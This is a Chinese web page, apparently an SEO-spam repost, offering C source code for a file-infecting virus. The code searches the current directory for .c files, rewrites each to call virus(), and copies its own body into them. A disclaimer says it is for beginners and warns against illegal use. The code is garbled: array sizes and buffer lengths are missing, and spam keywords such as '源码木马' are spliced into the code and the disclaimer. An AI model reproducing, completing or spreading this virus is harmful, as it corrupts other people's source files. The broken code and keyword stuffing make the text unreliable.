1.c语言木马源代码
c语言木马源代码
#include <stdio.h>
#include <dir.h>
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,源码木马*out,*read;
char *virus="virus.c";
char buf[][];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={ "stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i>=)
{
fclose(in);
goto next;
}
p=fgets(buf[i],,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#include<stdio.h>\n",out);
fputs("#include<dir.h>\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;j<i-1;j++)
if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
&&(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(j<i-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
}
严重声明：这个程序只是供C语言新手参考，开玩笑没关系，源码木马但如果用来做不法的源码木马链接跳转源码事情，本人概不负责。源码木马还有，源码木马dubbo源码怎么读编病毒、源码木马建站系统源码分享木马去做违法的源码木马事情惩罚是很重的，你如果想学编程，源码木马编个简单的源码木马就好了，否则后果很严重。源码木马
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